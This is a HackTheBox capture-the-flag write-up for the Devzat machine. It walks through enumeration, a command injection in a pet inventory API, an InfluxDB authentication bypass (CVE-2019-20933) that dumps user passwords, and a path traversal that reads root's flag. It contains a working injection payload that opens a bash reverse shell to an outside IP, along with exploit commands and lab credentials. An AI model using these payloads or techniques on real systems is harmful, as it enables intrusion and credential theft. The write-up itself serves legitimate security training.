Devzat - [HTB]

Cover Image for Devzat - [HTB]
Marmeus
Marmeus

Introduction

Devzat is a easy-medium machine from HackTheBox that requires folder and subdomain enumeration, code analysis, influxdb knowledge, path traversal and CVE exploitation.

Enumeration

As always, let's start finding all opened ports in the machine with nmap.

kali@kali:~/Documents/HTB/Devzat$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.118
Nmap scan report for 10.10.11.118
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct 17 05:42:57 2021 -- 1 IP address (1 host up) scanned in 199.78 seconds

Then, we continue with a deeper scan of every opened port getting more information about each service.

kali@kali:~/Documents/HTB/Devzat$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,8000 10.10.11.118
Nmap scan report for 10.10.11.118
Host is up (0.12s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=10/17%Time=616BF069%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As we can see above, nmap has obtained the domain devzat.htb that once added to /etc/hosts we can see how to access to an IRC chat on port 8000.

devzat.htb

Furthermore, we can use the username in the contact section for accessing the chat. This will provide us a chat with an administrator letting us know that an influxdb database exist somewhere in the machine.

kali@kali:~/Documents/HTB/Devzat$ ssh -l patrick devzat.htb -p 8000
Nickname reserved for local use, please choose a different one.
> Patrick
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: Patrick has joined the chat

Enumerating subdomains with ffuz we obtain the subdomain pets.devzat.htb.

kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb/ -H "Host: FUZZ.devzat.htb" -fl 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://devzat.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.devzat.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response lines: 10
________________________________________________

pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]
:: Progress: [114441/114441] :: Job [1/1] :: 319 req/sec :: Duration: [0:06:03] :: Errors: 0 ::

This new web page is a simple Pet Inventory where we can add a new pet sending its name and specie.

Pets devzat inventory

Enumerating its folders appears a .git, hence we can download its source code.

kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt  -t 60 -u http://pets.devzat.htb/FUZZ  -o ffuzPets.txt -fl 21

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://pets.devzat.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Output file      : ffuzPets.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 60
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response lines: 21
________________________________________________

css                     [Status: 301, Size: 40, Words: 3, Lines: 3]
build                   [Status: 301, Size: 42, Words: 3, Lines: 3]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]
.git                    [Status: 301, Size: 41, Words: 3, Lines: 3]
:: Progress: [43003/43003] :: Job [1/1] :: 477 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
kali@kali:~/Documents/HTB/Devzat$ 

For doing so we can use git-dumper.

kali@kali:~/Documents/HTB/Devzat$ git-dumper http://pets.devzat.htb/.git pets
[...]

Analysing the file main.go, we can see that when a new pet is added it is executing a bash command passing the specie as a parameter.

func addPet(w http.ResponseWriter, r *http.Request) {
    reqBody, _ := ioutil.ReadAll(r.Body)
    var addPet Pet 
    err := json.Unmarshal(reqBody, &addPet)
    if err != nil {
        e := fmt.Sprintf("There has been an error: %+v", err)
        http.Error(w, e, http.StatusBadRequest)
        return
    }   

    addPet.Characteristics = loadCharacter(addPet.Species)
    Pets = append(Pets, addPet)

    w.WriteHeader(http.StatusOK)
    fmt.Fprint(w, "Pet was added successfully")
}
func loadCharacter(species string) string {
    cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
    stdoutStderr, err := cmd.CombinedOutput()
    if err != nil {
        return err.Error()
    }
    return string(stdoutStderr)
}

If we intercept the request, we can send the following payload obtaining a reverse shell as Patrick.

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pets.devzat.htb/api/
Content-Type: text/plain;charset=UTF-8
Origin: http://pets.devzat.htb
Content-Length: 99
Connection: close

{"name":"Marmeus","species":"$(bash -c 'bash -i >& /dev/tcp/10.10.15.118/4444 0>&1')"}

Privilege Escalation 1

Looking for listening ports we can see that the port 8086 is opened, which uses influxdb by default.

patrick@devzat:~$ netstat -pluton
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      938/./petshop        off (0.00/0/0)
[...]     

We can do port forwarding with SSH using patrick's ssh private key.

Note: Because there isn't netcat, you can download it by coping the key into the web server directory /var/www/html/assets/ and changing its permissions.

kali@kali:~/Documents/HTB/Devzat$ ssh -i patrick.key patrick@devzat.htb -L localhost:8086:localhost:8086 

However, we need some credentials in order to access to the database.

kali@kali:~/Documents/HTB/Devzat/pets$ curl -G http://localhost:8086/query 
{"error":"unable to parse authentication credentials"}

Nonetheless, influxdb has an associated vulnerability (CVE-2019-20933) which allow bypassing the login. Plus, exist a working exploit for this particular vulnerability.

kali@kali:~/Documents/HTB/Devzat/InfluxDB-Exploit-CVE-2019-20933$ python3 __main__.py 
  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |                  
                                                         |_|                  
CVE-2019-20933

Insert ip host (default localhost): 
Insert port (default 8086): 
Insert influxdb user (wordlist path to bruteforce username): admin
Host vulnerable !!!
Databases list:

1) devzat
2) _internal

Insert database name (exit to close): devzat

Looking, at the documentation we can retrieve the contents of the devzat database.

[devzat] Insert query (exit to change db): show series 
{                                  
    "results": [                  
        {              
            "series": [            
                {               
                    "columns": [   
                        "key"                                                  
                    ],            
                    "values": [                                                
                        [            
                            "user"
                        ]             
                    ]                                                          
                }                
            ],                                                                 
            "statement_id": 0                                                  
        }                           
    ]                     
}
[devzat] Insert query (exit to change db): SELECT * FROM "user"                                                                           
{
    "results": [                  
        {    
            "series": [           
                {
                    "columns": [  
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine" 
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }

Between all the users, we get catherine's credentials obtaining the user flag.

patrick@devzat:/tmp$ su catherine
Password: woBeeYareedahc7Oogeephies7Aiseci
catherine@devzat:/tmp$ cd
catherine@devzat:~$ cat user.txt
[CENSORED]

Privilege Escalation 2

Now, if we access to the IRC server as catherine once we are inside the machine; we obtain the following chat with patrick.

catherine@devzat:/tmp$ ssh -l catherine localhost -p 8000
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat

Looking for those backups we can obtain patrick's password.

catherine@devzat:~$ find / -type f -user catherine -or -group catherine 2>/dev/null
[...]
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip
catherine@devzat:~$ cd /tmp/
catherine@devzat:/tmp$ unzip /var/backups/devzat-main.zip
catherine@devzat:/tmp$ unzip /var/backups/devzat-dev.zip
catherine@devzat:/tmp$ diff -R main/ dev
diff -r main/commands.go dev/commands.go 
>    file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil} 
[...]
>                             
> func fileCommand(u *user, args []string) {
>   if len(args) < 1 {                 
>    u.system("Please provide file to print and the password")                                                                             [...]
>   // Check my secure password
>   if pass != "CeilingCatStillAThingIn2021?" {
>    u.system("You did provide the wrong password")
>    return
>   }
[...]
diff -r main/devchat.go dev/devchat.go
27c27
<   port = 8000
---
>   port = 8443
114c114

Moreover, we can see that the dev server has a new command and it is listening on port 8443 which is being executed by root.

patrick@devzat:~$ ps aux | grep devchat
root         915  0.0  0.6 1159648 12212 ?       Sl   00:58   0:00 ./devchat
patrick      937  0.0  0.5 1159648 11852 ?       Sl   00:58   0:00 ./devchat
patrick   252830  0.0  0.0   6432   672 pts/0    S+   19:59   0:00 grep --color=auto devchat

Analysing, its code we can see that the file command is vulnerable to path traversal allowing us to retrieve the root's flag.

catherine@devzat:/tmp$ cat dev/commands.go 
		// Get CWD
        cwd, err := os.Getwd()
        if err != nil {
                u.system(err.Error())
        }

        // Construct path to print
        printPath := filepath.Join(cwd, path)

        // Check if file exists
        if _, err := os.Stat(printPath); err == nil {
                // exists, print
                file, err := os.Open(printPath)
                if err != nil {
                        u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
                        return
                }
                defer file.Close()

                scanner := bufio.NewScanner(file)
                for scanner.Scan() {
                        u.system(scanner.Text())
                }

At first we can not access to the server because we need some public key, but this can be resolved quickly by generating a new one.

catherine@devzat:~$ ssh -l marmeus localhost 8443
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:0rsaIiCqLD9ELa+kVyYB1zoufcsvYtVR7QKaYzUyC0Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
marmeus@localhost: Permission denied (publickey).

catherine@devzat:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/catherine/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/catherine/.ssh/id_rsa
Your public key has been saved in /home/catherine/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:3iKHsiHe1bS3NNGqfncK3wvDpVLu1r5iYIqNyN2arGE catherine@devzat
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|                 |
|                 |
|           .     |
|        S . o .  |
|       = oo* o   |
|  ..Eo+=*oO.*.   |
| . +oB+++=.B=+o  |
|  . +.+oo..++==o |
+----[SHA256]-----+

Finally, accessing once again and executing the new command we can obtain the root flag.

catherine@devzat:~$ ssh -l marmeus localhost -p 8443
Warning: Permanently added '[localhost]:8443' (ED25519) to the list of known hosts.
Welcome to the chat. There are no more users
devbot: marmeus has joined the chat
marmeus: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] [CENSORED]